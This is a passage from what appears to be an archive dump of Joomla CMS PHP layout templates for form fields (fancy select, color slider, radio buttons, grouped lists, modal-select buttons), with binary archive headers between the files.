extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$html = [];
$attr = '';
// Initialize the field attributes.
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= $multiple ? ' multiple' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $onchange ? ' onchange="' . $onchange .
'"' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="readonly" should
imply disabled="disabled".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
$attr2 = '';
$attr2 .= !empty($class) ? ' class="' . $class .
'"' : '';
$attr2 .= ' placeholder="' . $this->escape($hint ?:
Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS')) . '"
';
if ($required) {
$attr .= ' required class="required"';
$attr2 .= ' required';
}
// Create a read-only list (no name) with hidden input(s) to store the
value(s).
if ($readonly) {
$html[] = HTMLHelper::_('select.genericlist', $options,
'', trim($attr), 'value', 'text', $value,
$id);
// E.g. form field type tag sends $this->value as array
if ($multiple && is_array($value)) {
if (!count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" id="' .
$id . '-value" name="' . $name . '"
value="' . htmlspecialchars($value, ENT_COMPAT,
'UTF-8') . '">';
}
} else // Create a regular list.
{
$html[] = HTMLHelper::_('select.genericlist', $options,
$name, trim($attr), 'value', 'text', $value, $id);
}
Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH');
Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT');
Factory::getApplication()->getDocument()->getWebAssetManager()
->usePreset('choicesjs')
->useScript('webcomponent.field-fancy-select');
?>
<joomla-field-fancy-select <?php echo $attr2; ?>><?php echo
implode($html); ?></joomla-field-fancy-select>
PK]��[��"���"joomla/form/field/color/slider.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* @var array $displayData Data for this field collected by ColorField
*/
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input
* @var boolean $disabled Is this field disabled?
* @var string $display Which kind of slider should be displayed?
* @var string $default Default value for this field
* @var string $format Format of color value
* @var string $hint Text for inputs placeholder
* @var string $id ID of field and label
* @var string $name Name of the input field
* @var string $onchange Onchange attribute for the field
* @var string $onclick Onclick attribute for the field
* @var string $position Position of input
* @var boolean $preview Should the selected value be displayed
separately?
* @var boolean $readonly Is this field read only?
* @var boolean $required Is this field required?
* @var string $saveFormat Format to save the color
* @var integer $size Size attribute of the input
* @var string $validate Validation rules to apply.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
if ($color === 'none' || is_null($color)) {
$color = '';
}
$alpha = $format === 'hsla' || $format ===
'rgba' || $format === 'alpha';
$autocomplete = !empty($autocomplete) ? 'autocomplete="' .
$autocomplete . '"' : '';
$autofocus = $autofocus ? ' autofocus' : '';
$color = ' data-color="' . $color .
'"';
$class = $class ? ' class="' . $class .
'"' : '';
$default = $default ? ' data-default="' . $default .
'"' : '';
$disabled = $disabled ? ' disabled' : '';
$format = $format ? ' data-format="' . $format .
'"' : '';
$hint = strlen($hint) ? ' placeholder="' .
$this->escape($hint) . '"' : '';
$onchange = $onchange ? ' onchange="' . $onchange .
'"' : '';
$onclick = $onclick ? ' onclick="' . $onclick .
'"' : '';
$preview = $preview ? ' data-preview="' . $preview .
'"' : '';
$readonly = $readonly ? ' readonly' : '';
$saveFormat = $saveFormat ? ' data-format="' . $saveFormat
. '"' : '';
$size = $size ? ' size="' . $size .
'"' : '';
$validate = $validate ? ' data-validate="' . $validate .
'"' : '';
$displayValues = explode(',', $display);
$allSliders = $display === 'full' || empty($display);
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('field.color-slider');
Text::script('JFIELD_COLOR_ERROR_CONVERT_HSL');
Text::script('JFIELD_COLOR_ERROR_CONVERT_HUE');
Text::script('JFIELD_COLOR_ERROR_NO_COLOUR');
Text::script('JFIELD_COLOR_ERROR_WRONG_FORMAT');
?>
<div class="color-slider-wrapper"
<?php echo
$class,
$color,
$default,
$preview,
$size,
$dataAttribute;
?>
>
<!-- The data to save at the end (label created in form by Joomla)
-->
<input type="text" class="form-control
color-input" id="<?php echo $id; ?>"
name="<?php echo $name; ?>"
<?php echo
$disabled,
$readonly,
$required,
$saveFormat,
$validate;
?>
>
<!-- Shows value which is allowed to manipulate like 'hue'
-->
<label for="slider-input"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_INPUT'); ?></label>
<input type="text" class="form-control"
id="slider-input"
<?php echo
$autocomplete,
$disabled,
$hint,
$onchange,
$onclick,
$position,
$readonly,
$required,
$format,
$validate;
?>
>
<span class="form-control-feedback"></span>
<?php if ($allSliders || in_array('hue', $displayValues))
: ?>
<label for="hue-slider"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_HUE'); ?></label>
<input type="range" min="0"
max="360" class="form-control color-slider"
id="hue-slider" data-type="hue"
<?php echo
$autofocus,
$disabled
?>
>
<?php endif ?>
<?php if ($allSliders || in_array('saturation',
$displayValues)) : ?>
<label for="saturation-slider"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_SATURATION');
?></label>
<input type="range" min="0"
max="100" class="form-control color-slider"
id="saturation-slider" data-type="saturation"
<?php echo
$autofocus,
$disabled
?>
>
<?php endif ?>
<?php if ($allSliders || in_array('light',
$displayValues)) : ?>
<label for="light-slider"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_LIGHT'); ?></label>
<input type="range" min="0"
max="100" class="form-control color-slider"
id="light-slider" data-type="light"
<?php echo
$autofocus,
$disabled
?>
>
<?php endif ?>
<?php if ($alpha && ($allSliders ||
in_array('alpha', $displayValues))) : ?>
<label for="alpha-slider"
class="visually-hidden"><?php echo
Text::_('JFIELD_COLOR_LABEL_SLIDER_ALPHA'); ?></label>
<input type="range" min="0"
max="100" class="form-control color-slider"
id="alpha-slider" data-type="alpha"
<?php echo
$autofocus,
$disabled
?>
>
<?php endif ?>
</div>
PK]��[z�+���#joomla/form/field/radio/buttons.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$name);
$isBtnGroup = strpos(trim($class), 'btn-group') !== false;
$isBtnYesNo = strpos(trim($class), 'btn-group-yesno') !== false;
$classToggle = $isBtnGroup ? 'btn-check' :
'form-check-input';
$btnClass = $isBtnGroup ? 'btn btn-outline-secondary' :
'form-check-label';
$blockStart = $isBtnGroup ? '' : '<div
class="form-check">';
$blockEnd = $isBtnGroup ? '' : '</div>';
// Add the attributes of the fieldset in an array
$containerClass = trim($class . ' radio' . ($readonly ||
$disabled ? ' disabled' : '') . ($readonly ? '
readonly' : ''));
$attribs = ['id="' . $id . '"'];
if (!empty($disabled)) {
$attribs[] = 'disabled';
}
if (!empty($autofocus)) {
$attribs[] = 'autofocus';
}
if ($required) {
$attribs[] = 'class="required radio"';
}
if ($readonly || $disabled) {
$attribs[] = 'style="pointer-events: none"';
}
if ($dataAttribute) {
$attribs[] = $dataAttribute;
}
?>
<fieldset <?php echo implode(' ', $attribs); ?>>
<legend class="visually-hidden">
<?php echo $label; ?>
</legend>
<div class="<?php echo $containerClass; ?>">
<?php foreach ($options as $i => $option) : ?>
<?php echo $blockStart; ?>
<?php
$disabled = !empty($option->disable) ?
'disabled' : '';
$style = $disabled ? ' style="pointer-events:
none"' : '';
// Initialize some option attributes.
if ($isBtnYesNo) {
// Set the button classes for the yes/no group
switch ($option->value) {
case '0':
$btnClass = 'btn btn-outline-danger';
break;
case '1':
$btnClass = 'btn
btn-outline-success';
break;
default:
$btnClass = 'btn
btn-outline-secondary';
break;
}
}
$optionClass = !empty($option->class) ?
$option->class : $btnClass;
$optionClass = trim($optionClass . ' ' .
$disabled);
$checked = ((string) $option->value === $value) ?
'checked="checked"' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ?
'onclick="' . $option->onclick . '"' :
'';
$onchange = !empty($option->onchange) ?
'onchange="' . $option->onchange . '"' :
'';
$oid = $id . $i;
$ovalue = htmlspecialchars($option->value,
ENT_COMPAT, 'UTF-8');
$attributes = array_filter([$checked, $disabled,
ltrim($style), $onchange, $onclick]);
?>
<?php if ($required) : ?>
<?php $attributes[] = 'required'; ?>
<?php endif; ?>
<input class="<?php echo $classToggle;
?>" type="radio" id="<?php echo $oid; ?>"
name="<?php echo $name; ?>" value="<?php echo
$ovalue; ?>" <?php echo implode(' ', $attributes);
?>>
<label for="<?php echo $oid; ?>"
class="<?php echo trim($optionClass); ?>"<?php echo
$style; ?>>
<?php echo $option->text; ?>
</label>
<?php echo $blockEnd; ?>
<?php endforeach; ?>
</div>
</fieldset>
PK]��[L�2�HH
joomla/form/field/radiobasic.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
/**
* The format of the input tag to be filled in using sprintf.
* %1 - id
* %2 - name
* %3 - value
* %4 = any other attributes
*/
$format = '<input type="radio" id="%1$s"
name="%2$s" value="%3$s" %4$s>';
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$name);
?>
<fieldset id="<?php echo $id; ?>" class="<?php
echo trim($class . ' radio'); ?>"
<?php echo $disabled ? 'disabled' : ''; ?>
<?php echo $required ? 'required' : ''; ?>
<?php echo $autofocus ? 'autofocus' : ''; ?>
<?php echo $dataAttribute; ?>>
<?php if (!empty($options)) : ?>
<?php foreach ($options as $i => $option) : ?>
<?php
// Initialize some option attributes.
$checked = ((string) $option->value === $value) ?
'checked="checked"' : '';
$optionClass = !empty($option->class) ?
'class="' . $option->class . '"' :
'';
$disabled = !empty($option->disable) || ($disabled
&& !$checked) ? 'disabled' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ?
'onclick="' . $option->onclick . '"' :
'';
$onchange = !empty($option->onchange) ?
'onchange="' . $option->onchange . '"' :
'';
$oid = $id . $i;
$ovalue = htmlspecialchars($option->value,
ENT_COMPAT, 'UTF-8');
$attributes = array_filter([$checked, $optionClass,
$disabled, $onchange, $onclick]);
?>
<?php if ($required) : ?>
<?php $attributes[] = 'required'; ?>
<?php endif; ?>
<div class="radio mb-0">
<label for="<?php echo $oid; ?>"
<?php echo $optionClass; ?>>
<?php echo sprintf($format, $oid, $name, $ovalue,
implode(' ', $attributes)); ?>
<?php echo Text::alt($option->text, $alt); ?>
</label>
</div>
<?php endforeach; ?>
<?php endif; ?>
</fieldset>
PK]��[h��R��!joomla/form/field/groupedlist.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $groups Groups of options available for this
field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$html = [];
$attr = '';
// Initialize some field attributes.
$attr .= !empty($class) ? ' class="form-select ' . $class .
'"' : ' class="form-select"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= $multiple ? ' multiple' : '';
$attr .= $required ? ' required' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
// Create a read-only list (no name) with a hidden input to store the
value.
if ($readonly) {
$html[] = HTMLHelper::_(
'select.groupedlist',
$groups,
null,
[
'list.attr' => $attr, 'id' => $id,
'list.select' => $value, 'group.items' => null,
'option.key.toHtml' => false,
'option.text.toHtml' => false,
]
);
// E.g. form field type tag sends $this->value as array
if ($multiple && \is_array($value)) {
if (!\count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" name="'
. $name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '">';
}
} else {
// Create a regular list.
$html[] = HTMLHelper::_(
'select.groupedlist',
$groups,
$name,
[
'list.attr' => $attr, 'id' => $id,
'list.select' => $value, 'group.items' => null,
'option.key.toHtml' => false,
'option.text.toHtml' => false,
]
);
}
echo implode($html);
PK]��[��0u��joomla/form/field/list.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$html = [];
$attr = '';
// Initialize the field attributes.
$attr .= !empty($class) ? ' class="form-select ' . $class .
'"' : ' class="form-select"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= $multiple ? ' multiple' : '';
$attr .= $required ? ' required' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $onchange ? ' onchange="' . $onchange .
'"' : '';
$attr .= !empty($description) ? ' aria-describedby="' . ($id
?: $name) . '-desc"' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="readonly" should
imply disabled="disabled".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
// Create a read-only list (no name) with hidden input(s) to store the
value(s).
if ($readonly) {
$html[] = HTMLHelper::_('select.genericlist', $options,
'', trim($attr), 'value', 'text', $value,
$id);
// E.g. form field type tag sends $this->value as array
if ($multiple && is_array($value)) {
if (!count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" id="' .
$id . '-value" name="' . $name . '"
value="' . htmlspecialchars($value, ENT_COMPAT,
'UTF-8') . '">';
}
} else // Create a regular list passing the arguments in an array.
{
$listoptions = [];
$listoptions['option.key'] = 'value';
$listoptions['option.text'] = 'text';
$listoptions['list.select'] = $value;
$listoptions['id'] = $id;
$listoptions['list.translate'] = false;
$listoptions['option.attr'] = 'optionattr';
$listoptions['list.attr'] = trim($attr);
$html[] = HTMLHelper::_('select.genericlist', $options,
$name, $listoptions);
}
echo implode($html);
PK]��[�'���0joomla/form/field/modal-select/extra-buttons.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2023 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* The layout allows to add extra control buttons to the field, example
"propagate association" by com_content.
*
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
* @var string $valueTitle
* @var array $canDo
* @var string[] $urls
* @var string[] $modalTitles
* @var string[] $buttonIcons
*/
PK]��[I����*joomla/form/field/modal-select/buttons.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2023 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
* @var string $valueTitle
* @var array $canDo
* @var string[] $urls
* @var string[] $modalTitles
* @var string[] $buttonIcons
*/
// Prepare options for each Modal
$modalSelect = [
'popupType' => 'iframe',
'src' => empty($urls['select']) ?
'' : Route::_($urls['select'], false),
'textHeader' => $modalTitles['select'] ??
Text::_('JSELECT'),
];
$modalNew = [
'popupType' => 'iframe',
'src' => empty($urls['new']) ?
'' : Route::_($urls['new'], false),
'textHeader' => $modalTitles['new'] ??
Text::_('JACTION_CREATE'),
];
$modalEdit = [
'popupType' => 'iframe',
'src' => empty($urls['edit']) ?
'' : Route::_($urls['edit'], false),
'textHeader' => $modalTitles['edit'] ??
Text::_('JACTION_EDIT'),
];
// Decide when the select button always will be visible
$isSelectAlways = !empty($canDo['select']) &&
empty($canDo['clear']);
?>
<?php if ($modalSelect['src'] &&
$canDo['select'] ?? true) : ?>
<button type="button" class="btn btn-primary"
<?php echo $value && !$isSelectAlways ? 'hidden' :
''; ?>
data-button-action="select" <?php echo
!$isSelectAlways ? 'data-show-when-value=""' :
''; ?>
data-modal-config="<?php echo
$this->escape(json_encode($modalSelect, JSON_UNESCAPED_SLASHES));
?>">
<span class="<?php echo
!empty($buttonIcons['select']) ? $buttonIcons['select']
: 'icon-file'; ?>"
aria-hidden="true"></span> <?php echo
Text::_('JSELECT'); ?>
</button>
<?php endif; ?>
<?php if ($modalNew['src'] && $canDo['new']
?? false) : ?>
<button type="button" class="btn btn-secondary"
<?php echo $value ? 'hidden' : ''; ?>
data-button-action="create"
data-show-when-value=""
data-modal-config="<?php echo
$this->escape(json_encode($modalNew, JSON_UNESCAPED_SLASHES));
?>">
<span class="icon-plus"
aria-hidden="true"></span> <?php echo
Text::_('JACTION_CREATE'); ?>
</button>
<?php endif; ?>
<?php if ($modalEdit['src'] &&
$canDo['edit'] ?? false) : ?>
<button type="button" class="btn btn-primary"
<?php echo $value ? '' : 'hidden'; ?>
data-button-action="edit"
data-show-when-value="1"
data-modal-config="<?php echo
$this->escape(json_encode($modalEdit, JSON_UNESCAPED_SLASHES));
?>"
data-checkin-url="<?php echo
empty($urls['checkin']) ? '' :
Route::_($urls['checkin']); ?>">
<span class="icon-pen-square"
aria-hidden="true"></span> <?php echo
Text::_('JACTION_EDIT'); ?>
</button>
<?php endif; ?>
<?php if ($canDo['clear'] ?? true) : ?>
<button type="button" class="btn btn-secondary"
<?php echo $value ? '' : 'hidden'; ?>
data-button-action="clear"
data-show-when-value="1">
<span class="icon-times"
aria-hidden="true"></span> <?php echo
Text::_('JCLEAR'); ?>
</button>
<?php endif; ?>
PK]��[�q��
�
"joomla/form/field/modal-select.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2023 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
* @var string $valueTitle
* @var array $canDo
* @var string[] $urls
* @var string[] $modalTitles
* @var string[] $buttonIcons
*/
// Add the field script
if (!$readonly && !$disabled) {
/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa =
Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('modal-content-select-field');
}
$fieldClass = $required ? 'required modal-value' : '';
?>
<div class="js-modal-content-select-field <?php echo $class;
?>" <?php echo $dataAttribute; ?>>
<div class="input-group">
<input class="form-control js-input-title"
type="text" value="<?php echo
$this->escape($valueTitle ?? $value); ?>" readonly
id="<?php echo $id; ?>" name="<?php
echo $name; ?>"
placeholder="<?php echo $this->escape($hint);
?>"/>
<?php if (!$readonly && !$disabled) :
echo $this->sublayout('buttons', $displayData);
// The "extra-buttons" layout allows to add extra
control buttons to the field, example "propagate association" by
com_content
echo $this->sublayout('extra-buttons',
$displayData);
endif; ?>
</div>
<input type="hidden" id="<?php echo $id;
?>_id" class="<?php echo $fieldClass; ?>
js-input-value" data-required="<?php echo (int) $required;
?>"
name="<?php echo $name; ?>" value="<?php
echo $this->escape($value); ?>"<?php echo $onchange ? '
onchange="' . $onchange . '"' : '';
?> />
</div>
PK]��[�m�ȣ�.joomla/form/field/groupedlist-fancy-select.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
